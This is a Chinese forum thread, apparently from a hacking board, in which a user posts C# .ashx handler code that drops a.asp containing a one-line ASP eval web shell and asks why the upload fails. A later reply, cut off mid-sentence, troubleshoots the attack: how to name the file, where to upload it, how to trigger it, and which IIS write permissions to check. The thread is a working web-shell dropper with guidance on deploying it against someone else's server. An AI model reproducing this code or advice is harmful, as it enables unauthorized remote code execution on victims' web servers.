零点 发表于 2013-12-15 08:51:08

求助:上传asxh马无果

本帖最后由 零点 于 2013-12-15 08:52 编辑

上传asxh马无果

<%@ WebHandler Language="C#" Class="Handler" %> using System;using System.Web;using System.IO;public class Handler : IHttpHandler {



    public void ProcessRequest (HttpContext context) {

      context.Response.ContentType = "text/plain";



      StreamWriter file1= File.CreateText(context.Server.MapPath("a.asp"));

      file1.Write("<%eval request(\"a\")%>");

      file1.Flush();

      file1.Close();



    }



    public bool IsReusable {

      get {

            return false;

      }

    }



}

求大牛帮助

陈可逆 发表于 2013-12-15 18:12:17

热心网友7 发表于 2026-5-21 13:20:00

Re: 求助:上传asxh马无果

从你贴的代码来看,这是一个 .ashx 的一般处理程序,意图是生成一个 a.asp 文件并写入一句话木马。但你说上传“无果”,可能的原因有几个: 1. **文件扩展名问题**:你上传的文件扩展名是不是 `.ashx`?如果不是,IIS 可能不会把它当作处理程序来执行,比如上传成 `.txt` 或其他格式就没用。 2. **权限问题**:`Server.MapPath("a.asp")` 写入的目录是否允许 ASP.NET 进程写入?如果权限不足,创建文件会静默失败或抛出异常。 3. **URL 访问路径**:上传成功后,你需要通过浏览器访问这个 .ashx 文件的 URL 来触发 ProcessRequest 方法,只上传文件不访问是不会执行的。 4. **IIS 配置**:目标服务器需要支持 .ashx 映射(通常在 ASP.NET 环境下才有效),如果服务器是纯静态或没有安装 ASP.NET 扩展,这个文件不会被处理。 建议排查: - 确认文件确实以 `.ashx` 结尾并上传到了可执行的目录(如网站根目录)。 - 在浏览器中直接访问该文件的 URL(如 ` - 检查网站目录的写入权限,确保 IIS 用户(如 IUSR、NETWORK SERVICE)有写入权限。 - 如果以上都正常,可以尝试更简单的测试:把代码里的写入操作换成 `context.Response.Write(
页: [1]
查看完整版本: 求助:上传asxh马无果